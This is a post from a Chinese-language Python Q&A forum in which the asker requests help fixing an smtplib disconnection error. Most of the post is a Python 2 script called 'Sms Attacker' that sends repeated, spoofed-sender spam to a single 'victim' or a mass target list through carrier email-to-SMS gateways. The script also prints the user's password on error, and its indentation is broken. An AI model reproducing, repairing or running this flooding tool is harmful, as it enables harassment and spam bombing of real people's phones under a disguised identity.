如何修复;'smtplib.serversmtplib已断开连接:连接意外关闭“错误?

2024-05-16 06:06:44 发布

您现在位置:Python中文网/ 问答频道 /正文

我正试着用这个新软件做一些沉闷的事。它被认为是利用电子邮件来欺骗短信(你可以用你的电话号码作为电子邮件名称,电话供应商的电子邮件地址结束发送短信)(例如T-Mobile):tmail.net网站,所以一封定期发送到手机的电子邮件1234567891@tmomail.net). 作为参考,我使用Zoho邮件。在

代码如下:

#!/usr/bin/env python

#I must say if you are looking at the code, any changes you make, i am not responsible for the outcome.

#If it stops working because you have changed it, you can contact me at github, but do not blame me

#by reading this and opening the file you acknowledge i am not responsible for how you use this.

#but I implore you to not use this illegally

import random

import string

import smtplib

import os

from time import sleep

from getpass import getpass

from subprocess import call





class color:

   PURPLE = '\033[95m'

   CYAN = '\033[96m'

   DARKCYAN = '\033[36m'

   BLUE = '\033[94m'

   GREEN = '\033[92m'

   YELLOW = '\033[93m'

   RED = '\033[91m'

   BOLD = '\033[1m'

   UNDERLINE = '\033[4m'

   END = '\033[0m'



W  = '\033[0m'  # white (normal)

R  = '\033[31m' # red

G  = '\033[32m' # green

O  = '\033[33m' # orange

B  = '\033[34m' # blue

P  = '\033[35m' # purple

C  = '\033[36m' # cyan

GR = '\033[37m' # gray

T  = '\033[93m' # tan  



def clear():

    os.system('clear')



def msms():

    clear()

    print ""+G+" "

    print """

    [+]======================[+]

    [!] Mass List SMS Attack:[!]

    [+]======================[+]

    When creating the file list, remember to attack the carrier to the end of each number.

    [+] example. 4567834214@txt.att.net[+]

    here is a list of the different carrier types.

    You can look them up also at online if theres a new one.

    "AT&T: @txt.att.net"

    "Qwest: @tmomail.net"

    "T-Mobile: @tmomail.net"

    "Verizon: @vtext.com"

    "Sprint: @messaging.sprintpcs.com or @pm.sprint.com"

    "Virgin Mobile: @vmobl.com "

    "Nextel: @messaging.nextel.com"

    "Alltel: @message.alltel.com"

    "Metro PCS: @mymetropcs.com"

    "Powertel: @ptel.com"

    "Boost Mobile: @myboostmobile.com"

    "Suncom: @tms.suncom.com"

    "tracfone: @mmst5.tracfone.com"

    "U.S Cellular: @email.uscc.net"

    "Put the @ sign before the provider"

    """



        print ""+T+" "

    phonelst = raw_input(color.UNDERLINE + 'Path to victem list' + color.END) 

    phonelst = open(phonelst, 'rb')

        print ""+T+" "

    zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)

        print ""+T+" "

        fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)

        print ""+T+" "

    password = getpass(color.UNDERLINE + 'Password>' + color.END)

        o = smtplib.SMTP("smtp.zoho.com", 587)

        o.starttls()

        o.login(zoho, password)



    message = raw_input(color.UNDERLINE + 'Message>' + color.END)

        print ""+T+" "

    counter = input(color.UNDERLINE + 'How many times>' + color.END)

        print ""+T+" "

    for phone in phonelst:

        try:

            spam_msg = "From: {} \r\nTo: {} \r\n\r\n {}".format(fromname, phone, message)

            print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)

            for i in range(counter):

                o.sendmail(fromname, phone, spam_msg)

            sleep(10)

            print(phone)

            print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END), counter ,(color.UNDERLINE + ''+G+'[*] messages!' + color.END)



        except:

            print("Sorry you typed something wrong. Please review the info you typed")

            print("your info is right here:", " ", zoho, " ", password, " ", spam_msg)

            b = raw_input("Press Enter to Continue")    

            msms()



def ssms():

    clear()

    print ""+B+" "

    print ("""

    [+]==========================================[+]

    [+]Single SMS Attack-------------------------[+]

    [+]==========================================[+]



    "AT&T: @txt.att.net"

    "Qwest: @tmomail.net"

    "T-Mobile: @tmomail.net"

    "Verizon: @vtext.com"

    "Sprint: @messaging.sprintpcs.com or @pm.sprint.com"

    "Virgin Mobile: @vmobl.com "

    "Nextel: @messaging.nextel.com"

    "Alltel: @message.alltel.com"

    "Metro PCS: @mymetropcs.com"

    "Powertel: @ptel.com"

    "Boost Mobile: @myboostmobile.com"

    "Suncom: @tms.suncom.com"

    "tracfone: @mmst5.tracfone.com"

    "U.S Cellular: @email.uscc.net"

    "Put the @ sign before the provider"

    """)



    provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END)

        print ""+T+" "

    phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider

        print ""+T+" "

    zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)

        print ""+T+" "

    password = getpass(color.UNDERLINE + 'Password>' + color.END)

    fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)

    print ("This function should make your message anonymous, unless google fixes the this flaw")



        o = smtplib.SMTP("smtp.zoho.com", 587)

        o.starttls()

        o.login(zoho, password)



    print ""+T+" "

    message = raw_input(color.UNDERLINE + 'Message>' + color.END)

        print ""+T+" "

    counter = input(color.UNDERLINE + 'How many times>' + color.END)

        print ""+T+" "

        spam_msg = "From: {} \r\nTo: {} \r\n\r\n {}".format(fromname, phone_num, message)

    print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)

        for i in range(counter):

            o.sendmail(zoho, phone_num, spam_msg)

        sleep(10)

        print(phone_num)

    print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END)



def menu():

    clear()

    print ""+O+" "

    print ("""

        [+]==============================[+]

       [+]::::::::Sms Attacker::::::::::[+]

        [+]==============================[+]

        +++++++++++++++++++++++++++++++++++++++}

        [!]------------------------------------}

        [!]----====-------=----=-----====------}

        [!]---=----------=-=--=-=---=----------}

        [!]---=---------=---==---=--=----------}

       [!]----====----=----==----=--====------}

        [!]--------=---=-----=----=------=-----}

       [!]--------=---=----=-----=------=-----}

       [!]----====----=-----=----=--====------}

        +++++++++++++++++++++++++++++++++++++++}

         ========================================

         Created and Designed by Andrew El+++++++

        ========================================

        ***********By Chosing an option*********

         You recognize and accept the disclaimer+

        I am not responsible how you use this 

         software. take great care in using it...

        """)

     print ""+P+" "

     print ("""

         +++++++++++++++++++++++++++++++++++++++++++

         this sms attack will send spam anonymously

         (whatever you choose) to target as many times

         you type in.

         ++++++++++++++++++++++++++++++++++++++++++++

         options: s=single target m=mass email list

         ++++++++++++++++++++++++++++++++++++++++++++

        **************lowercase*********************

         """)

     print ""+C+" " 

    option = raw_input("option:")

    if option == "s":

         clear()

         ssms()

     elif option == "m":

         clear()

         msms()

    else:

        clear()

        print ""+R+" "

        print ("sorry just type in lowercase 's' or 'm' only ")

        p = raw_input("Press enter to continue")    

        menu()  







menu()


Tags: thetocomyouinputrawnetphone